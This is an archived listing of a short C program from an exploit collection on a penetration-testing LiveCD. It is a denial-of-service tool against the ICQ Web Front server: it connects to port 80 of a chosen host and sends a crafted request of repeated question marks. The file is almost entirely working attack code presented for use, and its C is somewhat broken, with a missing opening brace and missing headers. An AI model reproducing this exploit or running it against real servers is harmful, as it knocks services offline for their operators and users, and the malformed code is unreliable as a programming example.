home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / icq / icqwfdos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  50 lines

  1. /* ICQ Web Front DoS */
  2.  
  3. #include <sys/socket.h> 
  4. #include <stdio.h> 
  5. #include <netinet/in.h>
  6. #include <netdb.h>
  7.  
  8. void main(int argc, char *argv[]) 
  9.   int sock;
  10.   struct in_addr addr; 
  11.   struct sockaddr_in sin; 
  12.   struct hostent *he; 
  13.   unsigned long start; 
  14.   unsigned long end; 
  15.   unsigned long counter;  
  16.   
  17.   /* added extra ? to be on the safe side :) */
  18.   char xploitstr1[50]="GET /?????????? HTTP/1.0 \n\n";
  19.   
  20.   
  21.   printf("ICQ Web Front DoS - author: char0hlz/tPG\n");  
  22.   printf("The Poor Gurus' Network [http://www.tpgn.net]\n");
  23.  
  24.   if (argc<2) 
  25.   { 
  26.     printf("usage: %s <hostname>\n", argv[0]); 
  27.     exit(0); 
  28.   } 
  29.   if ((he=gethostbyname(argv[1])) == NULL) 
  30.   { 
  31.     herror("gethostbyname"); 
  32.     exit(0); 
  33.   }  
  34.     start=inet_addr(argv[1]); 
  35.     counter=ntohl(start); 
  36.     sock=socket(AF_INET,SOCK_STREAM,0); 
  37.     bcopy(he->h_addr,(char *)&sin.sin_addr, he->h_length); 
  38.     sin.sin_family=AF_INET; 
  39.     sin.sin_port=htons(80); 
  40.     if (connect(sock,(struct sockaddr*)&sin,sizeof(sin))!=0) 
  41.     { 
  42.       perror("pr0blemz"); 
  43.     } 
  44.     send(sock,xploitstr1,strlen(xploitstr1),0);
  45.     close(sock);
  46.     
  47.    printf("Done. Refresh the page to see if it worked.\n"); 
  48.